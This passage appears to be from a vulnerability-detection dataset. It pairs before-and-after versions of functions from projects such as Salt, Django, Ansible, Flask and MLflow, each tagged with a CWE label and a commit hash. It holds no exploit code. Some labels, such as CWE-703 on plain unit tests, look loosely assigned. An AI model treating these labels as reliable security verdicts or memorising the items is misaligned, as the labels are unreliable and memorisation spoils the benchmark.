            os._exit(0 if test_pass else 1)"
,UNKNOWN,UNKNOWN,tests/pytests/unit/modules/test_consul.py,1,"def test_catalog_register():
    """"""
    Test consul catalog register
    """"""
    consul_url = ""http://localhost:1313""
    token = ""randomtoken""
    node = ""node1""
    address = ""addres1""
    nodemeta = {
        ""Cpu"": ""blah"",
        ""Cpu_num"": ""8"",
        ""Memory"": ""1024"",
        ""Os"": ""rhel8"",
        ""Osarch"": ""x86_64"",
        ""Kernel"": ""foo.bar"",
        ""Kernelrelease"": ""foo.release"",
        ""localhost"": ""localhost"",
        ""nodename"": node,
        ""os_family"": ""adams"",
        ""lsb_distrib_description"": ""distro"",
        ""master"": ""master"",
    }
    nodemeta_kwargs = {
        ""cpu"": ""blah"",
        ""num_cpus"": ""8"",
        ""mem"": ""1024"",
        ""oscode"": ""rhel8"",
        ""osarch"": ""x86_64"",
        ""kernel"": ""foo.bar"",
        ""kernelrelease"": ""foo.release"",
        ""localhost"": ""localhost"",
        ""nodename"": node,
        ""os_family"": ""adams"",
        ""lsb_distrib_description"": ""distro"",
        ""master"": ""master"",
    }

    mock_result = ""test""
    mock_http_result = {""status"": 200, ""dict"": mock_result}
    mock_url = MagicMock(return_value=consul_url)
    mock_nourl = MagicMock(return_value=None)

    # no consul url error
    with patch.dict(consul.__salt__, {""config.get"": mock_nourl}):
        result = consul.catalog_register(consul_url="""")
        expected = {""message"": ""No Consul URL found."", ""res"": False}
        assert expected == result

    # no required arguments
    with patch.object(salt.utils.http, ""query"", return_value=mock_http_result):
        with patch.dict(consul.__salt__, {""config.get"": mock_url}):
            result = consul.catalog_register(consul_url=consul_url, token=token)
            expected = {
                ""message"": ""Required argument node argument is missing."",
                ""res"": False,
            }
            assert expected == result

    with patch.object(salt.utils.http, ""query"", return_value=mock_http_result):
        with patch.dict(consul.__salt__, {""config.get"": mock_url}):
            result = consul.catalog_register(
                consul_url=consul_url,
                token=token,
                node=node,
                address=address,
                **nodemeta_kwargs,
            )
            expected = {
                ""data"": {""Address"": address, ""Node"": node, ""NodeMeta"": nodemeta},
                ""message"": f""Catalog registration for {node} successful."",
                ""res"": True,
            }

            assert expected == result",CWE-703,saltstack/salt,fac15ed9582b63336e619f8e70fceb6dc4b8f44d,"def test_catalog_register():
    """"""
    Test consul catalog register
    """"""
    consul_url = ""http://localhost:1313""
    token = ""randomtoken""
    node = ""node1""
    address = ""addres1""
    nodemeta = {
        ""Cpu"": ""blah"",
        ""Cpu_num"": ""8"",
        ""Memory"": ""1024"",
        ""Os"": ""rhel8"",
        ""Osarch"": ""x86_64"",
        ""Kernel"": ""foo.bar"",
        ""Kernelrelease"": ""foo.release"",
        ""localhost"": ""localhost"",
        ""nodename"": node,
        ""os_family"": ""adams"",
        ""lsb_distrib_description"": ""distro"",
        ""master"": ""master"",
    }
    nodemeta_kwargs = {
        ""cpu"": ""blah"",
        ""num_cpus"": ""8"",
        ""mem"": ""1024"",
        ""oscode"": ""rhel8"",
        ""osarch"": ""x86_64"",
        ""kernel"": ""foo.bar"",
        ""kernelrelease"": ""foo.release"",
        ""localhost"": ""localhost"",
        ""nodename"": node,
        ""os_family"": ""adams"",
        ""lsb_distrib_description"": ""distro"",
        ""master"": ""master"",
    }

    mock_result = ""test""
    mock_http_result = {""status"": 200, ""dict"": mock_result}
    mock_url = MagicMock(return_value=consul_url)
    mock_nourl = MagicMock(return_value=None)

    # no consul url error
    with patch.dict(consul.__salt__, {""config.get"": mock_nourl}):
        result = consul.catalog_register(consul_url="""")
        expected = {""message"": ""No Consul URL found."", ""res"": False}
        assert expected == result

    # no required arguments
    with patch.object(salt.utils.http, ""query"", return_value=mock_http_result):
        with patch.dict(consul.__salt__, {""config.get"": mock_url}):
            result = consul.catalog_register(consul_url=consul_url, token=token)
            expected = {
                ""message"": ""Required argument node argument is missing."",
                ""res"": False,
            }
            assert expected == result

    with patch.object(salt.utils.http, ""query"", return_value=mock_http_result):
        with patch.dict(consul.__salt__, {""config.get"": mock_url}):
            result = consul.catalog_register(
                consul_url=consul_url,
                token=token,
                node=node,
                address=address,
                **nodemeta_kwargs
            )
            expected = {
                ""data"": {""Address"": address, ""Node"": node, ""NodeMeta"": nodemeta},
                ""message"": ""Catalog registration for {} successful."".format(node),
                ""res"": True,
            }

            assert expected == result"
,UNKNOWN,UNKNOWN,tests/operators/test_trigger_dagrun.py,1,"def test_trigger_dagrun_with_execution_date(self):
        """"""Test TriggerDagRunOperator with custom execution_date.""""""
        custom_execution_date = timezone.datetime(2021, 1, 2, 3, 4, 5)
        task = TriggerDagRunOperator(
            task_id=""test_trigger_dagrun_with_execution_date"",
            trigger_dag_id=TRIGGERED_DAG_ID,
            execution_date=custom_execution_date,
            dag=self.dag,
        )
        task.run(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, ignore_ti_state=True)

        with create_session() as session:
            dagrun = session.query(DagRun).filter(DagRun.dag_id == TRIGGERED_DAG_ID).one()
            assert dagrun.external_trigger
            assert dagrun.execution_date == custom_execution_date
            assert dagrun.run_id == DagRun.generate_run_id(DagRunType.MANUAL, custom_execution_date)
            self.assert_extra_link(dagrun, task, session)",CWE-703,apache/airflow,adccc2d0dae294e7baddbe249a85e3bb08f61d7d,"def test_trigger_dagrun_with_execution_date(self):
        """"""Test TriggerDagRunOperator with custom execution_date.""""""
        custom_execution_date = timezone.datetime(2021, 1, 2, 3, 4, 5)
        task = TriggerDagRunOperator(
            task_id=""test_trigger_dagrun_with_execution_date"",
            trigger_dag_id=TRIGGERED_DAG_ID,
            execution_date=custom_execution_date,
            dag=self.dag,
        )
        task.run(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, ignore_ti_state=True)

        with create_session() as session:
            dagrun = session.query(DagRun).filter(DagRun.dag_id == TRIGGERED_DAG_ID).one()
            assert dagrun.external_trigger
            assert dagrun.execution_date == custom_execution_date
            assert dagrun.run_id == DagRun.generate_run_id(DagRunType.MANUAL, custom_execution_date)
            self.assert_extra_link(dagrun, task, session)"
,UNKNOWN,UNKNOWN,salt/utils/args.py,1,"def yamlify_arg(arg):
    '''
    yaml.safe_load the arg
    '''
    if not isinstance(arg, string_types):
        return arg

    if arg.strip() == '':
        # Because YAML loads empty strings as None, we return the original string
        # >>> import yaml
        # >>> yaml.load('') is None
        # True
        # >>> yaml.load('      ') is None
        # True
        return arg

    elif '_' in arg and all([x in '0123456789_' for x in arg.strip()]):
        return arg

    try:
        # Explicit late import to avoid circular import. DO NOT MOVE THIS.
        import salt.utils.yamlloader as yamlloader
        original_arg = arg
        if '#' in arg:
            # Only yamlify if it parses into a non-string type, to prevent
            # loss of content due to # as comment character
            parsed_arg = yamlloader.load(arg, Loader=yamlloader.SaltYamlSafeLoader)
            if isinstance(parsed_arg, string_types) or parsed_arg is None:
                return arg
            return parsed_arg
        if arg == 'None':
            arg = None
        else:
            arg = yamlloader.load(arg, Loader=yamlloader.SaltYamlSafeLoader)

        if isinstance(arg, dict):
            # dicts must be wrapped in curly braces
            if (isinstance(original_arg, string_types) and
                    not original_arg.startswith('{')):
                return original_arg
            else:
                return arg

        elif arg is None \
                or isinstance(arg, (list, float, integer_types, string_types)):
            # yaml.safe_load will load '|' as '', don't let it do that.
            if arg == '' and original_arg in ('|',):
                return original_arg
            # yaml.safe_load will treat '#' as a comment, so a value of '#'
            # will become None. Keep this value from being stomped as well.
            elif arg is None and original_arg.strip().startswith('#'):
                return original_arg
            else:
                return arg
        else:
            # we don't support this type
            return original_arg
    except Exception:
        # In case anything goes wrong...
        return original_arg",CWE-20,saltstack/salt,6a5c6dcd04186b8f7fde669144d6c06ce3e0794a,"def yamlify_arg(arg):
    '''
    yaml.safe_load the arg
    '''
    if not isinstance(arg, string_types):
        return arg

    if arg.strip() == '':
        # Because YAML loads empty strings as None, we return the original string
        # >>> import yaml
        # >>> yaml.load('') is None
        # True
        # >>> yaml.load('      ') is None
        # True
        return arg

    elif '_' in arg and all([x in '0123456789_' for x in arg.strip()]):
        return arg

    try:
        # Explicit late import to avoid circular import. DO NOT MOVE THIS.
        import salt.utils.yamlloader as yamlloader
        original_arg = arg
        if '#' in arg:
            # Only yamlify if it parses into a non-string type, to prevent
            # loss of content due to # as comment character
            parsed_arg = yamlloader.load(arg, Loader=yamlloader.SaltYamlSafeLoader)
            if isinstance(parsed_arg, string_types):
                return arg
            return parsed_arg
        if arg == 'None':
            arg = None
        else:
            arg = yamlloader.load(arg, Loader=yamlloader.SaltYamlSafeLoader)

        if isinstance(arg, dict):
            # dicts must be wrapped in curly braces
            if (isinstance(original_arg, string_types) and
                    not original_arg.startswith('{')):
                return original_arg
            else:
                return arg

        elif arg is None \
                or isinstance(arg, (list, float, integer_types, string_types)):
            # yaml.safe_load will load '|' as '', don't let it do that.
            if arg == '' and original_arg in ('|',):
                return original_arg
            # yaml.safe_load will treat '#' as a comment, so a value of '#'
            # will become None. Keep this value from being stomped as well.
            elif arg is None and original_arg.strip().startswith('#'):
                return original_arg
            else:
                return arg
        else:
            # we don't support this type
            return original_arg
    except Exception:
        # In case anything goes wrong...
        return original_arg"
,UNKNOWN,UNKNOWN,tests/pytests/unit/client/ssh/test_password.py,1,"def test_password_failure(temp_salt_master, tmp_path):
    """"""
    Check password failures when trying to deploy keys
    """"""
    opts = temp_salt_master.config.copy()
    opts[""list_hosts""] = False
    opts[""argv""] = [""test.ping""]
    opts[""selected_target_option""] = ""glob""
    opts[""tgt""] = ""localhost""
    opts[""arg""] = []
    roster = str(tmp_path / ""roster"")
    handle_ssh_ret = [
        (
            {
                ""localhost"": {
                    ""retcode"": 255,
                    ""stderr"": ""Permission denied (publickey).\r\n"",
                    ""stdout"": """",
                }
            },
            1,
        )
    ]
    expected = {""localhost"": ""Permission denied (publickey)""}
    display_output = MagicMock()
    with patch(""salt.roster.get_roster_file"", MagicMock(return_value=roster)), patch(
        ""salt.client.ssh.SSH.handle_ssh"", MagicMock(return_value=handle_ssh_ret)
    ), patch(""salt.client.ssh.SSH.key_deploy"", MagicMock(return_value=expected)), patch(
        ""salt.output.display_output"", display_output
    ):
        client = ssh.SSH(opts)
        ret = next(client.run_iter())
        with pytest.raises(SystemExit):
            client.run()
    display_output.assert_called_once_with(expected, ""nested"", opts)
    assert ret is handle_ssh_ret[0][0]",CWE-703,saltstack/salt,953db60331628f18cc9e2d018b7a26b3d5289583,"def test_password_failure(temp_salt_master, tmp_path):
    """"""
    Check password failures when trying to deploy keys
    """"""
    opts = temp_salt_master.config.copy()
    opts[""list_hosts""] = False
    opts[""argv""] = [""test.ping""]
    opts[""selected_target_option""] = ""glob""
    opts[""tgt""] = ""localhost""
    opts[""arg""] = []
    roster = str(tmp_path / ""roster"")
    handle_ssh_ret = [
        {
            ""localhost"": {
                ""retcode"": 255,
                ""stderr"": ""Permission denied (publickey).\r\n"",
                ""stdout"": """",
            }
        },
    ]
    expected = {""localhost"": ""Permission denied (publickey)""}
    display_output = MagicMock()
    with patch(""salt.roster.get_roster_file"", MagicMock(return_value=roster)), patch(
        ""salt.client.ssh.SSH.handle_ssh"", MagicMock(return_value=handle_ssh_ret)
    ), patch(""salt.client.ssh.SSH.key_deploy"", MagicMock(return_value=expected)), patch(
        ""salt.output.display_output"", display_output
    ):
        client = ssh.SSH(opts)
        ret = next(client.run_iter())
        with pytest.raises(SystemExit):
            client.run()
    display_output.assert_called_once_with(expected, ""nested"", opts)
    assert ret is handle_ssh_ret[0]"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/db/models/sql/compiler.py,0,"def __call__(self, name):
        """"""
        A wrapper around connection.ops.quote_name that doesn't quote aliases
        for table names. This avoids problems with some SQL dialects that treat
        quoted strings specially (e.g. PostgreSQL).
        """"""
        if name in self.quote_cache:
            return self.quote_cache[name]
        if ((name in self.query.alias_map and name not in self.query.table_map) or
                name in self.query.extra_select or (
                    name in self.query.external_aliases and name not in self.query.table_map)):
            self.quote_cache[name] = name
            return name
        r = self.connection.ops.quote_name(name)
        self.quote_cache[name] = r
        return r",CWE-Unknown,django/django,c3a9820251ab06bbe491f11f3112031fb2dad8bd,"def __call__(self, name):
        """"""
        A wrapper around connection.ops.quote_name that doesn't quote aliases
        for table names. This avoids problems with some SQL dialects that treat
        quoted strings specially (e.g. PostgreSQL).
        """"""
        if name in self.quote_cache:
            return self.quote_cache[name]
        if ((name in self.query.alias_map and name not in self.query.table_map) or
                name in self.query.extra_select or name in self.query.external_aliases):
            self.quote_cache[name] = name
            return name
        r = self.connection.ops.quote_name(name)
        self.quote_cache[name] = r
        return r"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,bandit/core/config.py,0,"def __init__(self, config_file=None):
        """"""Attempt to initialize a config dictionary from a yaml file.

        Error out if loading the yaml file fails for any reason.
        :param config_file: The Bandit yaml config file

        :raises bandit.utils.ConfigError: If the config is invalid or
            unreadable.
        """"""
        self.config_file = config_file
        self._config = {}

        if config_file:
            try:
                f = open(config_file)
            except OSError:
                raise utils.ConfigError(
                    ""Could not read config file."", config_file
                )

            if config_file.endswith("".toml""):
                if toml is None:
                    raise utils.ConfigError(
                        ""toml parser not available, reinstall with toml extra"",
                        config_file,
                    )

                try:
                    with f:
                        self._config = toml.load(f)[""tool""][""bandit""]
                except toml.TomlDecodeError as err:
                    LOG.error(err)
                    raise utils.ConfigError(""Error parsing file."", config_file)
            else:
                try:
                    with f:
                        self._config = yaml.safe_load(f)
                except yaml.YAMLError as err:
                    LOG.error(err)
                    raise utils.ConfigError(""Error parsing file."", config_file)

            self.validate(config_file)

            # valid config must be a dict
            if not isinstance(self._config, dict):
                raise utils.ConfigError(""Error parsing file."", config_file)

            self.convert_legacy_config()

        else:
            # use sane defaults
            self._config[""plugin_name_pattern""] = ""*.py""
            self._config[""include""] = [""*.py"", ""*.pyw""]

        self._init_settings()",UNKNOWN,PyCQA/bandit,71bc67ca723bd8126c89d405f509e43b7d5477a1,"def __init__(self, config_file=None):
        """"""Attempt to initialize a config dictionary from a yaml file.

        Error out if loading the yaml file fails for any reason.
        :param config_file: The Bandit yaml config file

        :raises bandit.utils.ConfigError: If the config is invalid or
            unreadable.
        """"""
        self.config_file = config_file
        self._config = {}

        if config_file:
            try:
                f = open(config_file)
            except OSError:
                raise utils.ConfigError(
                    ""Could not read config file."", config_file
                )

            if config_file.endswith("".toml""):
                if toml is None:
                    raise utils.ConfigError(
                        ""toml parser not available, reinstall with toml extra""
                    )

                try:
                    with f:
                        self._config = toml.load(f)[""tool""][""bandit""]
                except toml.TomlDecodeError as err:
                    LOG.error(err)
                    raise utils.ConfigError(""Error parsing file."", config_file)
            else:
                try:
                    with f:
                        self._config = yaml.safe_load(f)
                except yaml.YAMLError as err:
                    LOG.error(err)
                    raise utils.ConfigError(""Error parsing file."", config_file)

            self.validate(config_file)

            # valid config must be a dict
            if not isinstance(self._config, dict):
                raise utils.ConfigError(""Error parsing file."", config_file)

            self.convert_legacy_config()

        else:
            # use sane defaults
            self._config[""plugin_name_pattern""] = ""*.py""
            self._config[""include""] = [""*.py"", ""*.pyw""]

        self._init_settings()"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/modules/system/service.py,0,"def get_systemd_service_enabled(self):
        def sysv_exists(name):
            script = '/etc/init.d/' + name
            return os.access(script, os.X_OK)

        def sysv_is_enabled(name):
            return bool(glob.glob('/etc/rc?.d/S??' + name))

        service_name = self.__systemd_unit
        (rc, out, err) = self.execute_command(""%s is-enabled %s"" % (self.enable_cmd, service_name,))
        if rc == 0:
            return True
        elif out.startswith('disabled'):
            return False
        elif sysv_exists(service_name):
            return sysv_is_enabled(service_name)
        else:
            return False",,ansible/ansible,3c89a21e0c03503f2b6f16eefc9780fa97169ac1,"def get_systemd_service_enabled(self):
        def sysv_exists(name):
            script = '/etc/init.d/' + name
            return os.access(script, os.X_OK)

        def sysv_is_enabled(name):
            return bool(glob.glob('/etc/rc?.d/S??' + name))

        service_name = self.__systemd_unit
        (rc, out, err) = self.execute_command(""%s is-enabled %s"" % (self.enable_cmd, service_name,))
        if rc == 0:
            return True
        elif sysv_exists(service_name):
            return sysv_is_enabled(service_name)
        else:
            return False"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,notebook/services/sessions/sessionmanager.py,0,"def __del__(self):
        """"""Close connection once SessionManager closes""""""
        self.close()",,jupyter/notebook,acba19033b720902287eaed11f9ed656fd8f456d,"def __del__(self):
        """"""Close connection once SessionManager closes""""""
        self.close()"
functions_for_flask_with_cwe.csv,UNKNOWN,UNKNOWN,flask/wrappers.py,0,"def get_json(self, force=False, silent=False, cache=True):
        """"""Parses the incoming JSON request data and returns it.  If
        parsing fails the :meth:`on_json_loading_failed` method on the
        request object will be invoked.  By default this function will
        only load the json data if the mimetype is ``application/json``
        but this can be overriden by the `force` parameter.

        :param force: if set to `True` the mimetype is ignored.
        :param silent: if set to `True` this method will fail silently
                       and return `None`.
        :param cache: if set to `True` the parsed JSON data is remembered
                      on the request.
        """"""
        rv = getattr(self, '_cached_json', _missing)
        if rv is not _missing:
            return rv

        if self.mimetype != 'application/json' and not force:
            return None

        # We accept a request charset against the specification as
        # certain clients have been using this in the past.  This
        # fits our general approach of being nice in what we accept
        # and strict in what we send out.
        request_charset = self.mimetype_params.get('charset')
        try:
            data = _get_data(self, cache)
            if request_charset is not None:
                rv = json.loads(data, encoding=request_charset)
            else:
                rv = json.loads(data)
        except ValueError as e:
            if silent:
                rv = None
            else:
                rv = self.on_json_loading_failed(e)
        if cache:
            self._cached_json = rv
        return rv",,pallets/flask,fa610a24ec326bbca01d6453548a1129178273ae,"def get_json(self, force=False, silent=False, cache=True):
        """"""Parses the incoming JSON request data and returns it.  If
        parsing fails the :meth:`on_json_loading_failed` method on the
        request object will be invoked.  By default this function will
        only load the json data if the mimetype is ``application/json``
        but this can be overriden by the `force` parameter.

        :param force: if set to `True` the mimetype is ignored.
        :param silent: if set to `False` this method will fail silently
                       and return `False`.
        :param cache: if set to `True` the parsed JSON data is remembered
                      on the request.
        """"""
        rv = getattr(self, '_cached_json', _missing)
        if rv is not _missing:
            return rv

        if self.mimetype != 'application/json' and not force:
            return None

        # We accept a request charset against the specification as
        # certain clients have been using this in the past.  This
        # fits our general approach of being nice in what we accept
        # and strict in what we send out.
        request_charset = self.mimetype_params.get('charset')
        try:
            data = _get_data(self, cache)
            if request_charset is not None:
                rv = json.loads(data, encoding=request_charset)
            else:
                rv = json.loads(data)
        except ValueError as e:
            if silent:
                rv = None
            else:
                rv = self.on_json_loading_failed(e)
        if cache:
            self._cached_json = rv
        return rv"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,core/data/kb/info.py,0,"def __init__(self, data_obj=None):

        # Default values
        self._url = None
        self._uri = None
        self._desc = None
        self._method = None
        self._variable = None
        self._id = []
        self._name = None
        self._plugin_name = None
        self._plugin_name = ''
        self._dc = None
        self._string_matches = set()
            
        # Clone the info object!
        if isinstance( data_obj, info ):
            self.setURI( data_obj.getURI() )
            self.setDesc( data_obj.getDesc() )
            self.setMethod( data_obj.getMethod() )
            self.setVar( data_obj.getVar() )
            self.setId( data_obj.getId() )
            self.setName( data_obj.getName() )
            self.setDc( data_obj.getDc() )
            for k in data_obj.keys():
                self[ k ] = data_obj[ k ]",,andresriancho/w3af,cff6e5ab0f9cd55d887eaacba2dc85a29064e91e,"def __init__(self, data_obj=None):

        # Default values
        self._desc = None
        self._method = None
        self._variable = None
        self._id = []
        self._name = None
        self._plugin_name = None
        self._plugin_name = ''
        self._dc = None
        self._string_matches = set()
            
        # Clone the info object!
        if isinstance( data_obj, info ):
            self.setURI( data_obj.getURI() )
            self.setDesc( data_obj.getDesc() )
            self.setMethod( data_obj.getMethod() )
            self.setVar( data_obj.getVar() )
            self.setId( data_obj.getId() )
            self.setName( data_obj.getName() )
            self.setDc( data_obj.getDc() )
            for k in data_obj.keys():
                self[ k ] = data_obj[ k ]"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/modules/network/junos/junos_config.py,0,"def main():
    """""" main entry point for module execution
    """"""
    argument_spec = dict(
        lines=dict(type='list'),

        src=dict(type='path'),
        src_format=dict(choices=['xml', 'text', 'set', 'json']),

        # update operations
        update=dict(default='merge', choices=['merge', 'overwrite', 'replace']),
        replace=dict(default=False, type='bool'),

        confirm=dict(default=0, type='int'),
        comment=dict(default=DEFAULT_COMMENT),

        # config operations
        backup=dict(type='bool', default=False),
        rollback=dict(type='int'),
        zeroize=dict(default=False, type='bool'),

        transport=dict(default='netconf', choices=['netconf'])
    )

    mutually_exclusive = [('lines', 'rollback'), ('lines', 'zeroize'),
                          ('rollback', 'zeroize'), ('lines', 'src'),
                          ('src', 'zeroize'), ('src', 'rollback'),
                          ('update', 'replace')]

    required_if = [('replace', True, ['src']),
                   ('update', 'merge', ('src', 'lines')),
                   ('update', 'overwrite', ('src', 'lines')),
                   ('update', 'replace', ('src', 'lines'))]

    module = NetworkModule(argument_spec=argument_spec,
                           mutually_exclusive=mutually_exclusive,
                           required_if=required_if,
                           supports_check_mode=True)

    result = dict(changed=False)

    if module.params['backup']:
        result['__backup__'] = module.config.get_config()

    try:
        run(module, result)
    except NetworkError:
        exc = get_exception()
        module.fail_json(msg=str(exc), **exc.kwargs)

    module.exit_json(**result)",,ansible/ansible,a43534a4a8193bc04b7bdccb9b59e956e180ddf9,"def main():
    """""" main entry point for module execution
    """"""
    argument_spec = dict(
        lines=dict(type='list'),

        src=dict(type='path'),
        src_format=dict(choices=['xml', 'text', 'set', 'json']),

        # update operations
        update=dict(default='merge', choices=['merge', 'overwrite', 'replace']),
        replace=dict(default=False, type='bool'),

        confirm=dict(default=0, type='int'),
        comment=dict(default=DEFAULT_COMMENT),

        # config operations
        backup=dict(type='bool', default=False),
        rollback=dict(type='int'),
        zeroize=dict(default=False, type='bool'),

        transport=dict(default='netconf', choices=['netconf'])
    )

    mutually_exclusive = [('lines', 'rollback'), ('lines', 'zeroize'),
                          ('rollback', 'zeroize'), ('lines', 'src'),
                          ('src', 'zeroize'), ('src', 'rollback'),
                          ('update', 'replace')]

    required_if = [('replace', True, ['src']),
                   ('update', 'merge', ['src']),
                   ('update', 'overwrite', ['src']),
                   ('update', 'replace', ['src'])]

    module = NetworkModule(argument_spec=argument_spec,
                           mutually_exclusive=mutually_exclusive,
                           required_if=required_if,
                           supports_check_mode=True)

    result = dict(changed=False)

    if module.params['backup']:
        result['__backup__'] = module.config.get_config()

    try:
        run(module, result)
    except NetworkError:
        exc = get_exception()
        module.fail_json(msg=str(exc), **exc.kwargs)

    module.exit_json(**result)"
,UNKNOWN,UNKNOWN,django/utils/crypto.py,1,"def salted_hmac(key_salt, value, secret=None):
    """"""
    Returns the HMAC-SHA1 of 'value', using a key generated from key_salt and a
    secret (which defaults to settings.SECRET_KEY).

    A different key_salt should be passed in for every application of HMAC.
    """"""
    if secret is None:
        secret = settings.SECRET_KEY

    key_salt = force_bytes(key_salt)
    secret = force_bytes(secret)

    # We need to generate a derived key from our base key.  We can do this by
    # passing the key_salt and our base key through a pseudo-random function and
    # SHA1 works nicely.
    key = hashlib.sha1(key_salt + secret).digest()

    # If len(key_salt + secret) > sha_constructor().block_size, the above
    # line is redundant and could be replaced by key = key_salt + secret, since
    # the hmac module does the same thing for keys longer than the block size.
    # However, we need to ensure that we *always* do this.
    return hmac.new(key, msg=force_bytes(value), digestmod=hashlib.sha1)",CWE-327,django/django,a8ba76c2d3ad95595590af31c5cda123dc3868b7,"def salted_hmac(key_salt, value, secret=None):
    """"""
    Returns the HMAC-SHA1 of 'value', using a key generated from key_salt and a
    secret (which defaults to settings.SECRET_KEY).

    A different key_salt should be passed in for every application of HMAC.
    """"""
    if secret is None:
        secret = settings.SECRET_KEY

    # We need to generate a derived key from our base key.  We can do this by
    # passing the key_salt and our base key through a pseudo-random function and
    # SHA1 works nicely.
    key = hashlib.sha1((key_salt + secret).encode('utf-8')).digest()

    # If len(key_salt + secret) > sha_constructor().block_size, the above
    # line is redundant and could be replaced by key = key_salt + secret, since
    # the hmac module does the same thing for keys longer than the block size.
    # However, we need to ensure that we *always* do this.
    return hmac.new(key, msg=force_bytes(value), digestmod=hashlib.sha1)"
,UNKNOWN,UNKNOWN,tests/tracking/test_rest_tracking.py,1,"def test_search_experiments(mlflow_client):
    experiments = [
        (""a"", {""key"": ""value""}),
        (""ab"", {""key"": ""vaLue""}),
        (""Abc"", None),
    ]
    experiment_ids = [
        mlflow_client.create_experiment(name, tags=tags) for name, tags in experiments
    ]

    # filter_string
    experiments = mlflow_client.search_experiments(filter_string=""attribute.name = 'a'"")
    assert [e.name for e in experiments] == [""a""]
    experiments = mlflow_client.search_experiments(filter_string=""attribute.name != 'a'"")
    assert [e.name for e in experiments] == [""Abc"", ""ab"", ""Default""]
    experiments = mlflow_client.search_experiments(filter_string=""name LIKE 'a%'"")
    assert [e.name for e in experiments] == [""ab"", ""a""]
    experiments = mlflow_client.search_experiments(filter_string=""tag.key = 'value'"")
    assert [e.name for e in experiments] == [""a""]
    experiments = mlflow_client.search_experiments(filter_string=""tag.key != 'value'"")
    assert [e.name for e in experiments] == [""ab""]
    experiments = mlflow_client.search_experiments(filter_string=""tag.key ILIKE '%alu%'"")
    assert [e.name for e in experiments] == [""ab"", ""a""]

    # order_by
    experiments = mlflow_client.search_experiments(order_by=[""name DESC""])
    assert [e.name for e in experiments] == [""ab"", ""a"", ""Default"", ""Abc""]

    # max_results
    experiments = mlflow_client.search_experiments(max_results=2)
    assert [e.name for e in experiments] == [""Abc"", ""ab""]
    # page_token
    experiments = mlflow_client.search_experiments(page_token=experiments.token)
    assert {e.name for e in experiments}.issubset({""a"", ""Default""})

    # view_type
    mlflow_client.delete_experiment(experiment_ids[1])
    experiments = mlflow_client.search_experiments(view_type=ViewType.ACTIVE_ONLY)
    assert [e.name for e in experiments] == [""Abc"", ""a"", ""Default""]
    experiments = mlflow_client.search_experiments(view_type=ViewType.DELETED_ONLY)
    assert [e.name for e in experiments] == [""ab""]
    experiments = mlflow_client.search_experiments(view_type=ViewType.ALL)
    assert [e.name for e in experiments] == [""ab"", ""Abc"", ""a"", ""Default""]",CWE-703,mlflow/mlflow,70b9efc44b1465d64c7de9354101205b062af521,"def test_search_experiments(mlflow_client):
    experiments = [
        (""a"", {""key"": ""value""}),
        (""ab"", {""key"": ""vaLue""}),
        (""Abc"", None),
    ]
    experiment_ids = [
        mlflow_client.create_experiment(name, tags=tags) for name, tags in experiments
    ]

    # filter_string
    experiments = mlflow_client.search_experiments(filter_string=""attribute.name = 'a'"")
    assert [e.name for e in experiments] == [""a""]
    experiments = mlflow_client.search_experiments(filter_string=""attribute.name != 'a'"")
    assert [e.name for e in experiments] == [""Abc"", ""ab"", ""Default""]
    experiments = mlflow_client.search_experiments(filter_string=""name LIKE 'a%'"")
    assert [e.name for e in experiments] == [""ab"", ""a""]
    experiments = mlflow_client.search_experiments(filter_string=""tag.key = 'value'"")
    assert [e.name for e in experiments] == [""a""]
    experiments = mlflow_client.search_experiments(filter_string=""tag.key != 'value'"")
    assert [e.name for e in experiments] == [""ab""]
    experiments = mlflow_client.search_experiments(filter_string=""tag.key ILIKE '%alu%'"")
    assert [e.name for e in experiments] == [""ab"", ""a""]

    # order_by
    experiments = mlflow_client.search_experiments(order_by=[""name DESC""])
    assert [e.name for e in experiments] == [""ab"", ""a"", ""Default"", ""Abc""]

    # max_results
    experiments = mlflow_client.search_experiments(max_results=2)
    assert [e.name for e in experiments] == [""Abc"", ""ab""]
    # page_token
    experiments = mlflow_client.search_experiments(page_token=experiments.token)
    assert [e.name for e in experiments] == [""a"", ""Default""]

    # view_type
    mlflow_client.delete_experiment(experiment_ids[1])
    experiments = mlflow_client.search_experiments(view_type=ViewType.ACTIVE_ONLY)
    assert [e.name for e in experiments] == [""Abc"", ""a"", ""Default""]
    experiments = mlflow_client.search_experiments(view_type=ViewType.DELETED_ONLY)
    assert [e.name for e in experiments] == [""ab""]
    experiments = mlflow_client.search_experiments(view_type=ViewType.ALL)
    assert [e.name for e in experiments] == [""ab"", ""Abc"", ""a"", ""Default""]"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/inspectdb/tests.py,0,"def test_introspection_errors(self):
        """"""
        Introspection errors should not crash the command, and the error should
        be visible in the output.
        """"""
        out = StringIO()
        with mock.patch(
            ""django.db.connection.introspection.get_table_list"",
            return_value=[TableInfo(name=""nonexistent"", type=""t"")],
        ):
            call_command(""inspectdb"", stdout=out)
        output = out.getvalue()
        self.assertIn(""# Unable to inspect table 'nonexistent'"", output)
        # The error message depends on the backend
        self.assertIn(""# The error was:"", output)",CWE-Unknown,django/django,3926e35aa8c947b4c87aea33546b2e45347eaaa3,"def test_introspection_errors(self):
        """"""
        Introspection errors should not crash the command, and the error should
        be visible in the output.
        """"""
        out = StringIO()
        with mock.patch(
            ""django.db.connection.introspection.get_table_list"",
            return_value=[TableInfo(name=""nonexistent"", type=""t"")],
        ):
            call_command(""inspectdb"", stdout=out)
        output = out.getvalue()
        self.assertIn(""# Unable to inspect table 'nonexistent'"", output)
        # The error message depends on the backend
        self.assertIn(""# The error was:"", output)"
,UNKNOWN,UNKNOWN,tests/unit/templates/jinja_test.py,1,"def test_serialize_yaml(self):
        dataset = {
            ""foo"": True,
            ""bar"": 42,
            ""baz"": [1, 2, 3],
            ""qux"": 2.0,
            ""spam"": OrderedDict([
                ('foo', OrderedDict([
                    ('bar', 'baz'),
                    ('qux', 42)
                ])
                )
            ])
        }
        env = Environment(extensions=[SerializerExtension])
        rendered = env.from_string('{{ dataset|yaml }}').render(dataset=dataset)
